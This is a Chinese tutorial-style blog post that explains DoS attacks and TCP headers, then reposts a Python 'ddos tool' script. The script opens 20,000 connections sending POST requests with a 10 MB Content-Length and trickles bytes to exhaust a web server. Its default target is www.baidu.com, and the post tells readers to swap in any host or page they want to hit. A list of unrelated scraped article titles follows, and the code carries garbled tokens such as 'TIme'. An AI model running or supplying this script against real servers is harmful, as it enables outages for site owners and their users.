DoS是Denial of Service的简称,即拒绝服务,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的服务。最常见的DoS攻击有计算机网络带宽攻击和连通性攻击。

DoS攻击是指故意的攻击网络协议实现的缺陷或直接通过野蛮手段残忍地耗尽被攻击对象的资源,目的是让目标计算机或网络无法提供正常的服务或资源访问,使目标系统服务系统停止响应甚至崩溃,而在此攻击中并不包括侵入目标服务器或目标网络设备。这些服务资源包括网络带宽,文件系统空间容量,开放的进程或者允许的连接。这种攻击会导致资源的匮乏,无论计算机的处理速度多快、内存容量多大、网络带宽的速度多快都无法避免这种攻击带来的后果。

已经有很多介绍DOS(Denial of Service,即拒绝服务)攻击的文章,但是,多数人还是不知道DOS到底是什么,它到底是怎么实现的。本文主要介绍DOS的机理和常见的实施方法。因前段时间仔细了解了TCP/IP协议以及RFC文档,有点心得。同时,文中有部分内容参考了Shaft的文章翻译而得。要想了解DOS攻击得实现机理,必须对TCP有一定的了解。

1、什么是DOS攻击

DOS:即Denial Of Service,拒绝服务的缩写,可不能认为是微软的dos操作系统了。好象在5·1的时候闹过这样的笑话。拒绝服务,就相当于必胜客在客满的时候不再让人进去一样,呵呵,你想吃馅饼,就必须在门口等吧。DOS攻击即让目标机器停止提供服务或资源访问。

2、有关TCP协议的东西

TCP(transmission control protocol,传输控制协议),是用来在不可靠的因特网上提供可靠的、端到端的字节流通讯协议,在RFC793中有正式定义,还有一些解决错误的东西在RFC 1122中有记录,RFC 1323则有TCP的功能扩展。我们常见到的TCP/IP协议中,IP层不保证将数据报正确传送到目的地,TCP则从本地机器接受用户的数据流,将其分成不超过64K字节的数据片段,将每个数据片段作为单独的IP数据包发送出去,最后在目的地机器中再组合成完整的字节流,TCP协议必须保证可靠性。

发送和接收方的TCP传输以数据段的形式交换数据,一个数据段包括一个固定的20字节,加上可选部分,后面再跟上数据,TCP协议从发送方传送一个数据段的时候,还要启动计时器,当数据段到达目的地后,接收方还要发送回一个数据段,其中有一个确认序号,它等于希望收到的下一个数据段的顺序号,如果计时器在确认信息到达前超时了,发送方会重新发送这个数据段。

上面,我们总体上了解一点TCP协议,重要的是要熟悉TCP的数据头(header)。因为数据流的传输最重要的就是header里面的东西,至于发送的数据,只是header附带上的。客户端和服务端的服务响应就是同header里面的数据相关,两端的信息交流和交换是根据header中的内容实施的,因此,要实现DOS,就必须对header中的内容非常熟悉。

dos攻击原理及攻击实例

dos攻击原理:DoS攻击就是利用合理的服务请求来占用过多的服务资源,从而使合法用户无法得到服务的响应。(百度百科说的,大概就是这么个意思)。

dos攻击与ddos攻击的区别就是,它是一对一的攻击,而ddos是分布式的攻击,作为入门,作为菜鸟,我们他妈哪里有那么多肉鸡给你用。。。所以不过对付一些带宽小,内存低,cpu渣的小型web服务器还是ok的。

现在,废话不多说,本地搭建一个web站点测试一下。

测试地址:http://192.168.1.110/cloudmanage/admin.php#(本地的)

测试脚本:网上一堆。给大家转载一个,如下:

#!/usr/bin/env python

import socket

import TIme

import threading

#Pressure Test,ddos tool

#---------------------------

MAX_CONN=20000

PORT=80

HOST=“www.baidu.com”

PAGE=“/index.php”

#---------------------------

buf=(“POST %s HTTP/1.1\r\n”

“Host: %s\r\n”

“Content-Length: 10000000\r\n”

“Cookie: dklkt_dos_test\r\n”

“\r\n” % (PAGE,HOST))

socks=[]

def conn_thread():

global socks

for i in range(0,MAX_CONN):

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

try:

s.connect((HOST,PORT))

s.send(buf)

print “Send buf OK!,conn=%d\n”%i

socks.append(s)

except ExcepTIon,ex:

print “Could not connect to server or send error:%s”%ex

TIme.sleep(10)

#end def

def send_thread():

global socks

while True:

for s in socks:

try:

s.send(“f”)

#print “send OK!”

except ExcepTIon,ex:

print “Send Exception:%s\n”%ex

socks.remove(s)

s.close()

time.sleep(1)

#end def

conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

conn_th.start()

send_th.start()

脚本来源是:http://blog.csdn.net/jeepxiaozi/article/details/8799684

以上是一个python脚本。

HOST=“www.baidu.com”

PAGE=“/index.php”

我们要改的是这两处地方

改为:

HOST=“192.168.1.110”//你要撸的主机ip地址/域名

PAGE=“/cloudmanage/admin.php”//你要撸的页面

cmd命令行下执行脚本

python实现dos攻击_dos攻击原理及攻击实例相关推荐

  1. python遍历queryset_Django QuerySet查询集原理及代码实例

    一 概念 Django的ORM中存在查询集的概念. 查询集,也称查询结果集.QuerySet,表示从数据库中获取的对象集合. 当调用如下过滤器方法时,Django会返回查询集(而不是简单的列表): a ...

  2. Python的DoS拒绝服务之TCP/SYN洪水攻击

    首先了解TCP和SYN,摘自百科:SYN:同步序列编号(Synchronize Sequence Numbers).是TCP/IP建立连接时使用的握手信号.在客户机和服务器之间建立正常的TCP网络连接 ...

  3. 网络层(TCP/UDP)攻击与防御原理

    应用层攻击 :HTTP.DNS.FTP等 应用层攻击可参考:应用层(DNS/HTTP/HTTPS)攻击与防御原理 网络层攻击防御 网络层攻击防御主要分为以下三类: TCP类报文攻击防御 UDP类报文攻 ...

  4. 应用层(DNS/HTTP/HTTPS)攻击与防御原理

    网络层攻击:TCP.UDP类攻击 网络层攻击可参考:网络层(TCP/UDP)攻击与防御原理 DNS类报文攻击防御 简要笔记: 针对DNS Anti-ddos ,针对缓存服务器 虚假源 (1)源认证 发 ...

  5. Python 实现 DOS流量攻击

    SynFlood 洪水攻击 Syn-Flood攻击属于TCP攻击,Flood类攻击中最常见,危害最大的是Syn-Flood攻击,也是历史最悠久的攻击之一,该攻击属于半开放攻击,攻击实现原理就是通过发送 ...

  6. python实现dos攻击_python 实现DoS攻击

    python 实现DoS攻击 2020-07-30 03:12 阅读数 6 前言 一 狗店老板欺负我女神,作为一个程序员这如果都能忍那还算男人?得知这个狗店老板买狗网站后果断决定黑了他,看他嚣张不嚣张 ...

  7. Python 实现 DoS 攻击 —— UDP洪水攻击

    DoS 攻击 拒绝服务攻击(denial-of-service attack,简称DoS攻击)亦称洪水攻击,是一种网络攻击手法,其目的在于使目标电脑的网络或系统资源耗尽,使服务暂时中断或停止,导致其正 ...

  8. SQL注入攻击实现原理与攻击过程详解

    SQL注入攻击实现原理与攻击过程详解 结构化查询语言(SQL)是一种用来和数据库交互的文本语言,SQL Injection就是利用某些数据库的外部接口把用户数据插入到实际的数据库操作语言当中,从而达到 ...

  9. DNS系统(服务器)的工作原理及攻击防护

    转载:http://www.guanwei.org/post/applicationsecurity/06/DNS-Security.html 国际著名网络安全专家Roland Dobbins曾说过, ...

最新文章

  1. 利用Python模拟鼠标自动完成MM32-LINK程序下载
  2. Android 求圆的面积
  3. php html xml,xml和html之间的区别有哪些
  4. mikrotik dhcp server
  5. 计算机底纹不起作用,CSS - 背景颜色在IE11中不起作用(CSS - background-color not working in IE11)...
  6. wordpress linux伪静态,nginx下wordpress伪静态设置
  7. Python监视用户计算机桌面窗口焦点的变化情况
  8. php 简单日志搜索
  9. 保护眼睛的电脑设置_专为长期玩电脑的你准备的3种护眼模式,你学到了吗?...
  10. c#“集合已修改;可能无法执行枚举操作”
  11. spring_150904_hibernatetemplate
  12. Where does the error come from?----Bias and Variance
  13. 题目263-精 挑 细 选
  14. paip.erlang环境搭建和脚本式escript运行halo world 在windows下attilax总结
  15. OpenCV探索之路(十六):图像矫正技术深入探讨
  16. Mac电脑上如何快速创建TxT文档?一招教你~
  17. STM32编程语言介绍
  18. iphone换android手机铃声,为什么大多数苹果手机用户只使用默认铃声,从不更换?原因很现实...
  19. php加粉网源码,PHP独角发卡网源码
  20. sd卡突然所有文件都无法删除,在手机中会提示‘无法删除’,并且无法格式化,并且无法写入文件,

热门文章

  1. junit进行单元测试_通过JUnit规则轻松进行AppEngine单元测试
  2. javascript指南_JavaScript还原方法指南
  3. Python并发编程理论篇
  4. 这几个冷门却实用的 Python 库,我爱了!
  5. 用Python标准库turtle画一只老虎,祝您新年虎虎生威,大吉大利
  6. Python二叉树的三种深度优先遍历
  7. Web框架中的ORM框架
  8. 每天进步一点点《ML - 基于层次的聚类》
  9. Java Micro services: 传送唯一标识(request id)在Hessian call, rest API,JMS和Thread之间
  10. 【Tensorflow】Tensorflow中的卷积函数(conv2d、slim.conv2d、depthwise_conv2d、conv2d_transpose)